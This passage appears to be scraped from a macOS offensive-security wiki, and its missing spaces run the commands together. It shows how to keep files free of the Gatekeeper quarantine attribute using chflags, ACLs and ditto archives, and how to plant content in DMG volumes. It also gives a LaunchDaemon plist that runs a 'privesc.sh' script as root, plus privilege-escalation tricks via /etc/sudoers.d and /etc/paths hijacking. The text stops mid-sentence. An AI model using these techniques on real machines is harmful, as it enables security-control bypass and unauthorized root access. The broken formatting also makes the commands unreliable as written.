echoasd>/tmp/asdchflagsuchg/tmp/asd# "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"xattr-wcom.apple.quarantine""/tmp/asdxattr: [Errno 1]Operationnotpermitted:'/tmp/asd'ls-lO/tmp/asd# check the "uchg" in the output
rm-rf/tmp/test*echotest>/tmp/testchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"/tmp/testls-le/tmp/testditto-c-ktesttest.zip# Download the zip from the browser and decompress it, the file should be without a quarantine xattrcd/tmpechoy|rmtest# Decompress it with dittoditto-x-k--rsrctest.zip.ls-le/tmp/test# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)opentest.zipsleep1ls-le/tmp/test
# Everything will be happening heremkdir/tmp/temp_xattrscd/tmp/temp_xattrs# Create a folder and a file with the acls and xattrmkdirdelmkdirdel/test_foldechotest>del/test_fold/test_filechmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_foldchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_fold/test_fileditto-c-kdeltest.zip# uncomporess to get it backditto-x-k--rsrctest.zip.ls-letest
(Note that even if this works the sandbox write the quarantine xattr before)
# Create the volumehdiutilcreate/private/tmp/tmp.dmg-size2m-ov-volnameCustomVolName-fsAPFS1>/dev/nullmkdir/private/tmp/mnt# Mount ithdiutilattach-mountpoint/private/tmp/mnt/private/tmp/tmp.dmg1>/dev/null# Add custom content to the volumemkdir/private/tmp/mnt/custom_folderecho"hello">/private/tmp/mnt/custom_folder/custom_file# Detach ithdiutildetach/private/tmp/mnt1>/dev/null# Next time you mount it, it will have the custom content you wrote# You can also create a dmg from an app using:hdiutilcreate-srcfolderjustsome.appjustsome.dmg
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array><string>/Applications/Scripts/privesc.sh</string></array><key>RunAtLoad</key><true/></dict></plist>
Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.
Sudoers File
If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.
PATH files
The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.
You can also write files in /etc/paths.d to load new folders into the PATH env variable.
Generate writable files as other users
This will generate a file that belongs to root that is writable by me (code from here). This might also work as privesc: